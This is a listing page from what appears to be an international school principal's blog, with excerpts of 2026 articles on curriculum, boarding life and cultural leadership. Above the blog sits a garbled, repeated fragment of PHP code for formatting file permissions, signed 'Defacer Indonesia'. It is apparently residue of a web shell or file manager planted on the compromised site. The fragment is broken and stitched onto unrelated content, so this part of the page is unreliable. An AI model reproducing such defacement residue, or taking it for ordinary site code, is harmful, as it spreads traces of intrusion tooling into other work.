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Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?> Principal’s Blog – Page 2 – Leading your international school

Principal's Blog

The Removal Test: A Ten-Minute Audit for Curriculum Leaders

The Removal Test: A Ten-Minute Audit for Curriculum Leaders

Byadmin September 13, 2026 Leadership
by Shanna Parry Every school I know can prove that its curriculum is inclusive. We can count the women in a history unit, name the minority figures in a literature anthology, and point to the week...
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The Midnight Mission Statement of Residential Life

The Midnight Mission Statement of Residential Life

Byadmin September 13, 2026 Vision Building & Values
by John Devadoss Have you ever wondered what truly happens in an international school boarding house long after the day students have left, the perimeter gates are secured, and the evening security...
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Learning to De-implement

Learning to De-implement

Byadmin September 13, 2026 Leadership
by Anthony Poullard 𝐀 𝐌𝐨𝐫𝐧𝐢𝐧𝐠 𝐌𝐢𝐜-𝐃𝐫𝐨𝐩 During this past school year, a colleague walked into my office with a morning mic-drop: “We need to learn how to de-implement things because there is a lot on...
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The Currency of Respect

The Currency of Respect

Byadmin September 12, 2026 Leaders
by Rob Stewart When I arrived in Wuxi, China, as a newly appointed executive principal, I thought I understood how to build relationships with government officials. After all, I had spent years...
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Beyond ‘Plug and Play’: Decoding Context for Successful Leadership

Beyond ‘Plug and Play’: Decoding Context for Successful Leadership

Byadmin September 12, 2026 Leadership
by Leanne Grundy From working in system level roles in the Middle East and China I’ve often observed that schools set up in collaboration with established international brands tend to presuppose...
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Essential Question: How can Examination Evidence Help Schools Improve Learning, Rather than Simply Measure Achievement?

Essential Question: How can Examination Evidence Help Schools Improve Learning, Rather than Simply Measure Achievement?

Byadmin September 12, 2026 Learning
by Harparsh Saxena For educational leaders, assessment data often arrives as numbers, averages, grade distributions and attainment profiles that rarely explain why students performed as they did...
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The Power of a Name: Culturally Responsive Leadership

The Power of a Name: Culturally Responsive Leadership

Byadmin July 5, 2026 Culture
by Trisha Law Hi, my name is Trisha Law.”Patricia? Do you go by Pat?” “Wait, how do you spell that? Like Tricia?” “Hi Triksha, I hope this email finds you well.”...
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Will It Make the Boat Go Faster? Why Schools Need to Do Less

Will It Make the Boat Go Faster? Why Schools Need to Do Less

Byadmin June 21, 2026 Sustainability
by Glenn Moodie Earlier in my career, I remember sitting in Heads of Department meetings, or talking to fellow Heads of Department from other schools, and discovering they were doing things I wasn’t...
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Asking Challenging Questions as Leaders: Is Our Curriculum Undermining Our Schools’ Values? 

Asking Challenging Questions as Leaders: Is Our Curriculum Undermining Our Schools’ Values? 

Byadmin June 14, 2026 Sustainability
by Emma Louise Wheatley Often in education, we assume that if teachers know what to teach, good teaching will follow.* Experience tells us it is rarely that simple. But if a curriculum appears to...
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